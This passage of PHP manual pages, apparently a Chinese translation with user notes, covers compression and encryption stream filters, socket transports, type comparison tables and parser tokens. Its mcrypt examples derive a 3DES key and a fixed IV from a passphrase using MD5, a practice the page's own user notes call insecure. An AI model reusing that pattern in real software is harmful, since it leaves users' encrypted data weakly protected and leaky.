
echo "The compressed file is " . filesize('test.deflated') . " bytes long.\n";
echo "The original text was:\n";
/* Use readfile and zlib.inflate to decompress on the fly */
readfile('php://filter/zlib.inflate/resource=test.deflated');

/* Generates output:

The original text is 70 characters long.
The compressed file is 56 bytes long.
The original text was:
This is a test.
This is only a test.
This is not an important string.

 */
?>

Example #2 zlib.deflate简单参数用法

<?php
$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "The original text is " . strlen($original_text) . " characters long.\n";

$fp = fopen('test.deflated', 'w');
/* Here "6" indicates compression level 6 */
stream_filter_append($fp, 'zlib.deflate', STREAM_FILTER_WRITE, 6);
fwrite($fp, $original_text);
fclose($fp);

echo "The compressed file is " . filesize('test.deflated') . " bytes long.\n";

/* Generates output:

The original text is 70 characters long.
The compressed file is 56 bytes long.

 */
?>

bzip2.compress和 bzip2.decompress工作的方式与上面讲的 zlib 过滤器相同。 bzip2.compress过滤器接受以一个关联数组给出的最多两个参数： blocks是从 1 到 9 的整数值，指定分配多少个 100K 字节的内存块作为工作区。 work是 0 到 250 的整数值，指定在退回到一个慢一些，但更可靠的算法之前做多少次常规压缩算法的尝试。调整此参数仅影响到速度，压缩输出和内存使用都不受此设置的影响。将此参数设为 0 指示 bzip 库使用内部默认算法。 bzip2.decompress过滤器仅接受一个参数，可以用普通的布尔值传递，或者用一个关联数组中的 small单元传递。当 small设为 &true; 值时，指示 bzip 库用最小的内存占用来执行解压缩，代价是速度会慢一些。

bzip2.* 压缩过滤器自 PHP 版本 5.1.0起可用，在激活 bz2支持的前提下。也可以通过安装来自 » PECL的 » bz2_filter包作为一个后门在 5.0.x版中使用。此过滤器在 PHP 4 中 不可用。

Example #3 bzip2.compress和 bzip2.decompress

<?php
$param = array('blocks' => 9, 'work' => 0);

echo "The original file is " . filesize('LICENSE') . " bytes long.\n";

$fp = fopen('LICENSE.compressed', 'w');
stream_filter_append($fp, 'bzip2.compress', STREAM_FILTER_WRITE, $param);
fwrite($fp, file_get_contents('LICENSE'));
fclose($fp);

echo "The compressed file is " . filesize('LICENSE.compressed') . " bytes long.\n";

/* Generates output:

The original text is 3288 characters long.
The compressed file is 1488 bytes long.

 */
?>

User Contributed Notes

bohwaz 08-Jul-2018 01:39
Please note that there is currently a bug in this feature. ftell(), fseek() and fstat() functions cannot be used. Writing to a stream after using this function will not change the stream position as it should.

See bug: https://bugs.php.net/bug.php?id=49874

Also the zlib filters don't work with php://temp, php://memory and php://input streams, nothing is outputted to those streams.
Anonymous 21-Aug-2015 06:12
To read a gzip encoded stream from http
<?php
$opts = [
    "http" => [
        "method" => "GET",
        "header" => [ "Accept-Encoding: gzip" ],
    ]
];
$ctx = stream_context_create($opts);
$f = fopen("http://php.net", "r", false, $ctx);
// check  stream_get_meta_data($f)["wrapper_data"] has "Content-Encoding: gzip"
stream_filter_append($f, "zlib.inflate", STREAM_FILTER_READ, ["window" => 30]);
echo stream_get_contents($f); // any stream processing
fclose($f);


加密过滤器

mcrypt.*和 mdecrypt.*使用 libmcrypt 提供了对称的加密和解密。这两组过滤器都支持 mcrypt 扩展库中相同的算法，格式为 mcrypt.ciphername，其中 ciphername是密码的名字，将被传递给 mcrypt_module_open()。有以下五个过滤器参数可用：

mcrypt 过滤器参数
参数 | 是否必须 | 默认值 | 取值举例
mode | 可选 | cbc | cbc, cfb, ecb, nofb, ofb, stream
algorithms_dir | 可选 | ini_get('mcrypt.algorithms_dir') | algorithms 模块的目录
modes_dir | 可选 | ini_get('mcrypt.modes_dir') | modes 模块的目录
iv | 必须 | N/A | 典型为 8，16 或 32 字节的二进制数据。根据密码而定
key | 必须 | N/A | 典型为 8，16 或 32 字节的二进制数据。根据密码而定

Example #1 用 3DES 将文件加密输出

<?php
$passphrase = 'My secret';

/* Turn a human readable passphrase
 * into a reproducable iv/key pair
 */
$iv = substr(md5('iv'.$passphrase, true), 0, 8);
$key = substr(md5('pass1'.$passphrase, true) .
               md5('pass2'.$passphrase, true), 0, 24);
$opts = array('iv'=>$iv, 'key'=>$key);

$fp = fopen('secert-file.enc', 'wb');
stream_filter_append($fp, 'mcrypt.tripledes', STREAM_FILTER_WRITE, $opts);
fwrite($fp, 'Secret secret secret data');
fclose($fp);
?>

Example #2 读取加密的文件

<?php
$passphrase = 'My secret';

/* Turn a human readable passphrase
 * into a reproducable iv/key pair
 */
$iv = substr(md5('iv'.$passphrase, true), 0, 8);
$key = substr(md5('pass1'.$passphrase, true) .
               md5('pass2'.$passphrase, true), 0, 24);
$opts = array('iv'=>$iv, 'key'=>$key);

$fp = fopen('secert-file.enc', 'rb');
stream_filter_append($fp, 'mdecrypt.tripledes', STREAM_FILTER_WRITE, $opts);
$data = rtrim(stream_get_contents($fp));
fclose($fp);

echo $data;
?>

User Contributed Notes

Maarten Bodewes 06-Aug-2017 12:21
The examples on this page should be destroyed with utmost urgency.

Strangely most people will fall over the use of generating the IV and 3DES key using MD5, a weak hash function, e.g. the previous note and CryptoFails blog.

http://www.cryptofails.com/post/70059608390/php-documentation-woes

A password based key derivation function should be used (bcrypt, PBKDF2).

However the use of MD-5 for key derivation however isn't that bad and if the password is strong enough (it usually isn't) then the generated DES ABC key is strong enough even now.

Using an identical IV for each password means that this function directly leaks information about the encrypted file. If the start of two encrypted files is identical then this function will directly leak information. For instance, if the routine encrypts multiple images then the JPEG header would be easily distinguished.

All in all these examples use deprecated routines (mcrypt), deprecated cryptographic functions (MD5 / DES) and then incorrectly perform the actual encryption. Enough reason to destroy them in the first place.
Uwe Ohse 22-Feb-2017 04:17
1) The mcrypt module has been deprecated with PHP 7.1.
What does that mean for the encryption filters?

2) deriving the IV from the secret passphrase seems wrong. This leaks information about the passphrase without need.

3) using md5() for this? Really? hash() has been available since PHP 5.1.2.

4) hashing the passphrase twice does not add any security.

5) using substr() on binary data (why, oh why, is true passed to md5()?) might lead to headaches if mbstring.func_overload is used.


所支持的套接字传输器（Socket Transports）列表

Table of Contents

  • Internet 领域：TCP，UDP，SSL 和 TLS
  • Unix 领域：Unix 和 UDG

以下是 PHP 内置用于基于流的套接字函数例如 fsockopen()和 stream_socket_client()的各种 URL 风格的套接字传输器。这些传输器 不适用于 Sockets 扩展库。

要得到自己的 PHP 版本中所安装的传输器列表，使用 stream_get_transports()。

User Contributed Notes

There are no user contributed notes for this page.


Internet 领域：TCP，UDP，SSL 和 TLS

PHP 3，PHP 4，PHP 5。 ssl://& tls://自 PHP 4.3 起可用。

sslv2://& sslv3://自 PHP 5.0.2 起可用。

Note: 如果没有指定传输器，则假定为 tcp://。

  • 127.0.0.1
  • fe80::1
  • www.example.com
  • tcp://127.0.0.1
  • tcp://fe80::1
  • tcp://www.example.com
  • udp://www.example.com
  • ssl://www.example.com
  • sslv2://www.example.com
  • sslv3://www.example.com
  • tls://www.example.com

Internet 领域套接字在目标地址中还期望有一个端口号。在 fsockopen()中在第二个参数中指定，这样就不会影响传输器的 URL。然而在 stream_socket_client()和相关的函数中是用传统的 URL，端口号在传输器 URL 后面以冒号分隔而指定。

  • tcp://127.0.0.1:80
  • tcp://[fe80::1]:80
  • tcp://www.example.com:80

Note: 带端口号的 IPv6 数字地址
在上面的第二个例子中，IPv4 和主机名的例子只加了一个冒号和端口号，但 IPv6 的地址被放在方括号中： [fe80::1]。这是为了将 IPv6 地址中的冒号和用来分隔端口号的冒号区别开来。

ssl://和 tls://传输器（仅在 openssl 支持已编译入 PHP 后可用）是 tcp://传输器加入 SSL 加密后的扩展。在 PHP 4.3.0 中 OpenSSL 支持必须被静态编译入 PHP，在 PHP 5.0.0 中可以编译为模块或者静态的。

ssl://将根据远程服务器的兼容性和参数设置尝试与之建立 SSL V2 或 SSL V3 链接 sslv2://和 sslv3://将明确的选择 SSL V2 或 SSL V3 协议进行连接。

ssl://和 tls://传输器的上下文选项（自 PHP 4.3.2 起）
名称 | 用法 | 默认值
verify_peer | &true; 或 &false;。用于 SSL 证书请求验证。 | &false;
allow_self_signed | &true; 或 &false;。允许自签名的证书。 | &false;
cafile | 本地文件系统中证书授权机构文件的位置，应和 verify_peer上下文选项一起使用来认证远端的身份。 |
capath | 如果没有指定 cafile或者如果该处没找到证书，则在 capath指定的目录中搜索相配的证书。 capath必须是一个正确的被散列化的证书目录。 |
local_cert | 文件系统中本地证书文件的路径。必须是一个用 PEM 编码并包含你的证书和私人密钥的文件。可以选择包括发行者的证书链。 |
passphrase | 你的 local_cert文件编码的 passphrase。 |
CN_match | 所期待的 Common Name。PHP 能进行有限的通配符匹配。如果 Common Name 与此不匹配，连接尝试会失败。 |

Note: 因为 ssl://是 https:// 和 ftps:// 封装协议的底层传输器，适用于 ssl://的任何上下文选项也适用于 https://和 ftps://。

User Contributed Notes

christian at lantian dot eu 17-Sep-2013 12:46
@pablo dot livardo  :  I think that the problem you found is caused by the difference between the client/server encryption methods used.

The 465 port is used for SMTPS, and the server starts the encryption immediately it receives your connection. So, your code will work.

The 587 port is used for Submission (MSA or Mail Submission Agent) which works like the port 25. The server accepts your connection and doesn't activate the encryption. If you want an encrypted connection on the port 587, you must connect on it without encryption, you must start to dialog with the server (with EHLO) and after that you must ask the server to start the encrypted connection using the STARTTLS command. The server starts the encryption and now you can start as well the encryption on your client.

So, in few words, you can not use :

<?php $fp = fsockopen("tls://mail.example.com", 587, $errno, $errstr);  ?>

but you can use:

 <?php $fp = stream_socket_client("mail.example.com:587", $errno, $errstr); ?>

and after you send the STARTTLS command, you can enable the crypto:

<?php stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_SSLv23_CLIENT); ?>

P.S. My previous note on this page was totally wrong, so I ask the php.net admin to remove it.

:)
christian at lantian dot eu 16-Sep-2013 08:17
@pablo dot livardo  :  I think that the problem you found is caused by the difference between the client/server encryption methods used.

You tried to access the port 587 using TLS encryption, but the server uses the SSLv3 encryption on this port.

You can communicate with the Google server on port 465 because on this port the communication is encrypted using TLS and your client is configured to recognize the TLS.

So, if you want to connect on the Google server over the port 587, you simply must write:

<?php
$fp = fsockopen("ssl://mail.example.com", 587, $errno, $errstr);
?>

instead of:

<?php
$fp = fsockopen("tls://mail.example.com", 587, $errno, $errstr);
?>

:)
stefan at example dot com 20-Aug-2010 05:42
Actually, PHP is very able to start with an unencrypted connection and then switch to an encrypted one - refer to http://php.net/stream_socket_enable_crypto .
pablo dot livardo at gmail dot com 09-Dec-2009 09:56
I've been having a problem with a TLS connection.

<?php
$fp = fsockopen("tls://mail.example.com", 587, $errno, $errstr);
?>

Which gives me an error of:

SSL operation failed with code 1. OpenSSL Error messages: error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number

I believe this is caused by PHP not being able to start with an unencrypted connection and then switch to encryption even though the functionality is built into OpenSSL.

For Google Mail users you can avoid this by using port 465 instead of 587.


Unix 领域：Unix 和 UDG

unix://自 PHP 3 起可用， udg://自 PHP 5 起可用。

  • unix:///tmp/mysock
  • udg:///tmp/mysock

unix://提供了在 Unix 域中对套接字流连接的访问。 udg://提供了替代的传输器以用户数据报协议（UDP）来访问 Unix 域套接字。

Unix 域套接字（UNIX Domain Socket），和 Internet Domain Socket 不同，不期望端口号。在 fsockopen()中 portno参数应被设为 0。

User Contributed Notes

Matthew Fortune 16-Feb-2007 03:03
It appears that fsockopen prior to php5 did not need the unix:// qualifier when opening a unix domain socket:

php4: fsockopen("/tmp/mysocket"......);

php5: fsockopen("unix:///tmp/mysocket"......);

This caught me out when upgrading.


PHP 类型比较表

以下的表格显示了 PHP 类型和比较运算符在松散和严格比较时的作用。该补充材料还和类型戏法的相关章节内容有关。同时，大量的用户注释和 » BlueShoes 的工作也给该材料提供了帮助。

在使用这些表格之前，需要明白变量类型及它们的意义。例如，"42" 是一个字符串而 42 是一个整数。FALSE 是一个布尔值而 "false" 是一个字符串。

Note:

HTML 表单并不传递整数、浮点数或者布尔值，它们只传递字符串。要想检测一个字符串是不是数字，可以使用 is_numeric() 函数。

Note:

在没有定义变量 $x 的时候，诸如 if ($x) 的用法会导致一个 E_NOTICE 级别的错误。所以，可以考虑用 empty() 或者 isset() 函数来初始化变量。

使用 PHP 函数对变量 $x 进行比较
表达式 | gettype() | empty() | is_null() | isset() | boolean : if($x)
$x = ""; | string | TRUE | FALSE | TRUE | FALSE
$x = null; | NULL | TRUE | TRUE | FALSE | FALSE
var $x; | NULL | TRUE | TRUE | FALSE | FALSE
$x is undefined | NULL | TRUE | TRUE | FALSE | FALSE
$x = array(); | array | TRUE | FALSE | TRUE | FALSE
$x = false; | boolean | TRUE | FALSE | TRUE | FALSE
$x = true; | boolean | FALSE | FALSE | TRUE | TRUE
$x = 1; | integer | FALSE | FALSE | TRUE | TRUE
$x = 42; | integer | FALSE | FALSE | TRUE | TRUE
$x = 0; | integer | TRUE | FALSE | TRUE | FALSE
$x = -1; | integer | FALSE | FALSE | TRUE | TRUE
$x = "1"; | string | FALSE | FALSE | TRUE | TRUE
$x = "0"; | string | TRUE | FALSE | TRUE | FALSE
$x = "-1"; | string | FALSE | FALSE | TRUE | TRUE
$x = "php"; | string | FALSE | FALSE | TRUE | TRUE
$x = "true"; | string | FALSE | FALSE | TRUE | TRUE
$x = "false"; | string | FALSE | FALSE | TRUE | TRUE

松散比较 ==
 | TRUE | FALSE | 1 | 0 | -1 | "1" | "0" | "-1" | NULL | array() | "php" | ""
TRUE | TRUE | FALSE | TRUE | FALSE | TRUE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE
FALSE | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | TRUE | TRUE | FALSE | TRUE
1 | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
0 | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | TRUE | FALSE | TRUE | TRUE
-1 | TRUE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE
"1" | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
"0" | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE
"-1" | TRUE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE
NULL | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | TRUE | TRUE | FALSE | TRUE
array() | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | TRUE | FALSE | FALSE
"php" | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE
"" | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE

严格比较 ===
 | TRUE | FALSE | 1 | 0 | -1 | "1" | "0" | "-1" | NULL | array() | "php" | ""
TRUE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
1 | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
0 | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
-1 | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
"1" | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE
"0" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE
"-1" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE
NULL | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE
array() | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE
"php" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE
"" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE

User Contributed Notes

php at ckls dot net 20-Aug-2018 02:50
regarding the editors note in php at richardneill dot org note:
[Editor's note: As of PHP 5.4.4 this is no longer true. Integral strings that overflow into floating point numbers will no longer be considered equal.]

While this is true, there is still the following behaviour:
<?php
$x = "1";
$y = "+1";
var_dump($x == $x);
?>
outputs "bool(true)".
So still be wary of string-comparison where both strings might be interpreted as numbers.
mark at theanti dot social 29-Mar-2018 08:59
There is also 0.0 which is not identical to 0.

  $x = 0.0;
  gettype($x); // double
  empty($x); // true
  is_null($x); //false
  isset($x); // true
  is_numeric($x); // true
  $x ? true : false; // false
  $x == 0; // true
  $x == "0"; // true
  $x == "0.0"; // true
  $x == false; // true
  $x == null; // true
  $x === 0; // false
  $x === false; // false
  $x === null; // false
  $x === "0"; // false
  $x === "0.0"; // false
alt dot jl-3gi8b7l at binich dot com 10-Mar-2018 03:41
Here's how PHP handles loose and strict comparisons of default parameters in functions:

Very unintuitive:

<?php
function f($x='surprise')
    {
    if ($x == 'surprise')
        return $x; // returns 0 !!
    }

echo f(0);
?>

Here some further tests:

<?php
function f($x='surprise')
    {
    if ($x == 'surprise')
        return 'A:'.$x;
    if ($x === 'surprise')
        return 'B:'.$x;
    return 'C:'.$x;
    }

echo "\n".f(0); // A:0 !!
echo "\n".f(0.0); // A:0 !!
echo "\n".f(NULL); // C: !!
echo "\n".f(FALSE); // C:
echo "\n".f(); // A:surprise
echo "\n".f(''); // C:
echo "\n".f((integer)0); // A:0
echo "\n".f((string)0); // C:0
echo "\n".f('0'); // C:0
echo "\n".f(0.1); // C:0.1
echo "\n".f(array()); // C:Array
echo "\n".f('surprise'); // A:surprise
?>
biziclop at vipmail dot hu 12-Aug-2017 08:57
Want to strictly compare integers that may or may not be converted to floats (via PHPExcel import/export, etc.)? You are out of luck:

var_dump(   (int)1 ===   (int)1 ); // bool(true)
var_dump( (float)1 === (float)1 ); // bool(true)
var_dump( (float)1 ===   (int)1 ); // bool(false)
var_dump(   (int)1 === (float)1 ); // bool(false)

This slightly complicated function might help you:

function equal_numbers( $a, $b ){
  if( $a === $b )  return true;
  if(   is_int( $a ) && is_float( $b ))  return (float)$a === $b && $a ===   (int)$b;
  if( is_float( $a ) &&   is_int( $b ))  return   (int)$a === $b && $a === (float)$b;
  return false;
}

Here are some tests:

test(100, 100.0 ); // int(100) float(100) bool(true)
test(  0,  -0   ); // int(0)   int(0)     bool(true)
test( -0,  -0.0 ); // int(0)   float(-0)  bool(true)
test(  0, 1/0   ); // int(0)   float(INF) bool(false)
test(  0, acos(2));// int(0)   float(NAN) bool(false)
test(       PHP_INT_MAX * 10, 0 );             //float(92233720368547758080) int(0) bool(false)
test((float)PHP_INT_MAX,     PHP_INT_MAX     );//float(9223372036854775808)  int(9223372036854775807) bool(false)
test((float)PHP_INT_MAX / 2, PHP_INT_MAX / 2 );//float(4611686018427387904)  float(4611686018427387904) bool(true)

function test( $a, $b ){
  var_dump( $a, $b, equal_numbers( $a, $b ));
}
engineer dot morozov at gmail dot com 07-Feb-2016 03:23
If you want to calculate how much more/less items by the criterion

Example:

in loop:
$counter += intval($item->isValid()) <=> 0.5;

if $counter >= 0 - valid items are more then invalid on $counter
if $counter  < 0 - valid items are less then invalid on $counter
trexx68 25-Apr-2015 05:11
If you want to view the truth tables colorized, just:

1. Save a local copy of this page as an .html file,
2. View the page source with any text editor.
3. Replace the opening <head> tag so it will include this:

<head>
  <script src="https://code.jquery.com/jquery-1.10.2.js"></script>

4. Replace the closing </body> tag with this:

  <script>
    $( "td:contains('FALSE')" ).css("color", "red");
    $( "td:contains('TRUE')" ).css("color", "green");
  </script>
</body>

5. Save the file, and view it on your browser.  Enjoy.
aravind dot a dot padmanabhan at gmail dot com 22-Apr-2015 02:31
please note that

$x = 0.0 ;
print empty($x); // returns 1 (true)

$x = "0.0";
print empty($x); // returns blank (false);
Anonymous 16-Oct-2014 06:19
The loose comparison chart is missing a few things.

array(1)==true returns true.

also:

(int)array(1) === 1 returns true

This is symmetric:

array(1) === (array)1 returns true

but the loose comparison

array(1)==1 still returns false.
blue dot hirano at gmail dot com 07-Sep-2014 02:29
The truth tables really ought to be colorized; they're very hard to read as they are right now (just big arrays of TRUE and FALSE).

Also, something to consider: clustering the values which compare similarly (like is done on qntm.org/equality) would make the table easier to read as well. (This can be done simply by hand by rearranging the order of headings to bring related values closer together).
Anonymous 21-Nov-2013 01:43
I'm running PHP 5.5.3.

This is a correction to one of the previous posts.

<?php
$o = new stdClass();
$o->we = 12;

$o2 = new stdClass();
$o2->we = 12;

$o3 = clone $o2;
var_dump($o == $o2); //true
var_dump($o === $o2); //false
var_dump($o3 === $o2); //false
?>

Output is:

true, false, false
crazy888s at hotmail dot com 14-Dec-2012 06:14
PHP's loose comparisons can be a huge convenience when used properly! It's extremely helpful to just remember the following are always FALSE:

null, false, "", 0, "0", array()

If your application never depends on a particular "empty/false/null/0/not set" value type, you won't have to worry about 99% of the other weird cases listed here. You won't need empty() or isset(). And ALL variable types will always work as expected for statements like:

if(boolean && !string){...}
if(array){...}
if(!null || int){...}

Consider the same when working with your database values.
php at richardneill dot org 12-Apr-2012 07:45
[Editor's note: As of PHP 5.4.4 this is no longer true. Integral strings that overflow into floating point numbers will no longer be considered equal.]

Be wary of string-comparison where both strings might be interpreted as numbers.  Eg:

$x="123456789012345678901234567890"; $y="123456789012345678900000000000";
echo  ($x==$y)?"equal":"not_equal";   #Prints equal !!

Both strings are getting converted to floats, then losing precision, then becoming equal :-(

Using "===" or making either of the strings non-numeric will prevent this.
[This is on a 32-bit machine, on a 64-bit, you will have to make the strings longer to see the effect]
Jouriy LYSENKO 17-Jun-2011 02:18
If $var not declared.

In php 5.2 :
<?php if($var) ?> - work

in php 5.3 :
<?php if($var) ?> - dont work and generate error E_NOTICE
php at benizi dot com 15-Feb-2010 10:31
It's interesting to note that 'empty()' and 'boolean : if($x)'
are paired as logical opposites, as are 'is_null()' and 'isset()'.
edgar at goodforall dot eu 15-Dec-2009 06:55
Some function to write out your own comparisson table in tsv format. Can be easily modified to add more testcases and/or binary functions. It will test all comparables against each other with all functions.

<?php
$funcs = array(
        /* Testing equality */
        'eq' => '==',
        'ne' => '!=',
        'gt' => '>',
        'lt' => '<',
        'ne2' => '<>',
        'lte' => '<=',
        'gte' => '>=',
        /* Testing identity */
        'id' => '===',
        'nid' => '!=='
);
class Test {
        protected $a;
        public $b;
        public function __construct($a,$b){
                $this->a = $a;
                $this->b = $b;
        }
        public function getab(){
                return $this->a.",". $this->b;
        }

}
$tst1 = new Test(1,2);
$tst2 = new Test(1,2);
$tst3 = new Test(2,2);
$tst4 = new Test(1,1);

$arr1 = array(1,2,3);
$arr2 = array(2,3,4);
$arr3 = array('a','b','c','d');
$arr4 = array('a','b','c');
$arr5 = array();

$comp1 = array(
        'ints' => array(-1,0,1,2),
        'floats' => array(-1.1,0.0,1.1,2.0),
        'string' => array('str', 'str1', '', '1'),
        'bools' => array(true, false),
        'null' => array(null),
        'objects' => array($tst1,$tst2,$tst3,$tst4),
        'arrays' => array($arr1, $arr2, $arr3, $arr4, $arr5)
);
$fbody = array();

foreach($funcs as $name => $op){
        $fbody[$name] = create_function('$a,$b', 'return $a ' . $op . ' $b;');
}

$table = array(array('function', 'comp1', 'comp2', 'f comp1 comp2', 'type'));
/* Do comparisons */
$comp2  = array();
foreach($comp1 as $type => $val){
        $comp2[$type] = $val;
}

foreach($comp1 as $key1 => $val1){
        foreach($comp2 as $key2 => $val2){
                addTableEntry($key1, $key2, $val1, $val2);
        }
}
$out = '';
foreach($table as $row){
        $out .= sprintf("%-20s\t%-20s\t%-20s\t%-20s\t%-20s\n", $row[0], $row[1], $row[2], $row[3], $row[4]);
}

print $out;
exit;

function addTableEntry($n1, $n2, $comp1, $comp2){
        global $table, $fbody;
        foreach($fbody as $fname => $func){
                        foreach($comp1 as $val1){
  foreach($comp2 as $val2){
                                        $val = $func($val1,$val2);
                                                $table[] = array($fname, gettype($val1) . ' => ' . sprintval($val1), gettype($val2) .' => ' . sprintval($val2), gettype($val) . ' => ' . sprintval($val), gettype($val1) . "-" . gettype($val2) . '-' . $fname);
                                        }
                        }
        }
}

function sprintval($val){
        if(is_object($val)){
                return 'object-' . $val->getab();
        }
        if(is_array($val)){
                return implode(',', $val);
        }
        if(is_bool($val)){
                if($val){
                        return 'true';
                }
                return 'false';
        }
        return strval($val);
}

?>
info at shaelf dot ru 06-Jan-2008 01:51
Compare object
<?php
$o = new stdClass();
$o->we = 12;

$o2 = new stdClass();
$o2->we = 12;

$o3 = clone $o2;
var_dump($o == $o2); //true
var_dump($o === $o2); //false
var_dump($o3 === $o2); //true
?>
frank 14-Aug-2007 03:06
A comparison table for <=,<,=>,> would be nice...
Following are TRUE (tested PHP4&5):
NULL <= -1
NULL <= 0
NULL <= 1
!(NULL >= -1)
NULL >= 0
!(NULL >= 1)
That was a surprise for me (and it is not like SQL, I would like to have the option to have SQL semantics with NULL...).
Jan 29-Dec-2005 11:23
Note that php comparison is not transitive:

"php" == 0 => true
0 == null => true
null == "php" => false
jerryschwartz at comfortable dot com 26-Jul-2005 01:04
In some languages, a boolean is promoted to an integer (with a value of 1 or -1, typically) if used in an expression with an integer. I found that PHP has it both ways:

If you add a boolean with a value of true to an integer with a value of 3, the result will be 4 (because the boolean is cast as an integer).

On the other hand, if you test a boolean with a value of true for equality with an integer with a value of three, the result will be true (because the integer is cast as a boolean).

Surprisingly, at first glance, if you use either < or > as the comparison operator the result is always false (again, because the integer as cast as a boolean, and true is neither greater nor less than true).
tom 17-Jun-2005 02:27
<?php
if (strlen($_POST['var']) > 0) {
    // form value is ok
}
?>

When working with HTML forms this a good way to:

(A) let "0" post values through like select or radio values that correspond to array keys or checkbox booleans that would return FALSE with empty(), and;
(B) screen out $x = "" values, that would return TRUE with isset()!

Because HTML forms post values as strings, this is a good way to test variables!

[[Editor Note: This will create a PHP Error of level E_NOTICE if the checked variable (in this case $_POST['var']) is undefined. It may be used after (in conjuection with) isset() to prevent this.]]
aidan at php dot net 24-Jan-2005 07:00
The way PHP handles comparisons when multiple types are concerned is quite confusing.

For example:
"php" == 0

This is true, because the string is casted interally to an integer. Any string (that does not start with a number), when casted to an integer, will be 0.


解析器代号列表

PHP 语言的不同部分在内部被表示为类似 T_SR 的类型。PHP 在解析错误时输出这样的标识符，例如 "Parse error: unexpected T_SR, expecting ',' or ';' in script.php on line 10."。

应该知道 T_SR 的含义。对于所有不知道的人，下表列出了这些标识符，PHP 语法和在手册中适当位置的参考。

代号
代号 | 语法 | 参考
T_ABSTRACT | abstract | 抽象类（自 PHP 5.0.0 起可用）
T_AND_EQUAL | &= | 赋值运算符
T_ARRAY | array() | array()，数组语法
T_ARRAY_CAST | (array) | 类型转换
T_AS | as | foreach
T_BAD_CHARACTER |  | 在 ASCII 32 之前除了 \t (0x09), \n (0x0a) 和 \r (0x0d) 以外的任何字符
T_BOOLEAN_AND | && | 逻辑运算符
T_BOOLEAN_OR | || | 逻辑运算符
T_BOOL_CAST | (bool) 或 (boolean) | 类型转换
T_BREAK | break | break
T_CASE | case | switch
T_CATCH | catch | 异常处理（自 PHP 5.0.0 起可用）
T_CHARACTER |  |
T_CLASS | class | 类和对象
T_CLONE | clone | 类和对象。仅用于 PHP 5。
T_CLOSE_TAG | ?> 或 %> |
T_COMMENT | // 或 #，以及 PHP 5 下的 /* */ | 注释
T_CONCAT_EQUAL | .= | 赋值运算符
T_CONST | const |
T_CONSTANT_ENCAPSED_STRING | "foo" 或 'bar' | 字符串语法
T_CONTINUE | continue |
T_CURLY_OPEN |  |
T_DEC | -- | 递增/递减运算符
T_DECLARE | declare | declare
T_DEFAULT | default | switch
T_DIV_EQUAL | /= | 赋值运算符
T_DNUMBER | 0.12，等等 | 浮点数
T_DOC_COMMENT | /** */ | PHPDoc 风格的注释（仅用于 PHP 5）
T_DO | do | do..while
T_DOLLAR_OPEN_CURLY_BRACES | ${ | 复杂变量解析语法
T_DOUBLE_ARROW | => | 数组语法
T_DOUBLE_CAST | (real), (double) 或 (float) | 类型转换
T_DOUBLE_COLON | :: | 见下面的 T_PAAMAYIM_NEKUDOTAYIM
T_ECHO | echo | echo
T_ELSE | else | else
T_ELSEIF | elseif | elseif
T_EMPTY | empty | empty()
T_ENCAPSED_AND_WHITESPACE |  |
T_ENDDECLARE | enddeclare | declare，替代语法
T_ENDFOR | endfor | for，替代语法
T_ENDFOREACH | endforeach | foreach，替代语法
T_ENDIF | endif | if，替代语法
T_ENDSWITCH | endswitch | switch，替代语法
T_ENDWHILE | endwhile | while，替代语法
T_END_HEREDOC |  | heredoc 语法
T_EVAL | eval() | eval()
T_EXIT | exit 或 die | exit(), die()
T_EXTENDS | extends | extends，类和对象
T_FILE | __FILE__ | 常量
T_FINAL | final | Final 关键字（自 PHP 5.0.0 起可用）
T_FOR | for | for
T_FOREACH | foreach | foreach
T_FUNCTION | function 或 cfunction | 函数
T_GLOBAL | global | 变量范围
T_HALT_COMPILER | __halt_compiler() | __halt_compiler（自 PHP 5.1.0 起可用）
T_IF | if | if
T_IMPLEMENTS | implements | 对象接口（自 PHP 5.0.0 起可用）
T_INC | ++ | 递增／递减运算符
T_INCLUDE | include() | include
T_INCLUDE_ONCE | include_once() | include_once
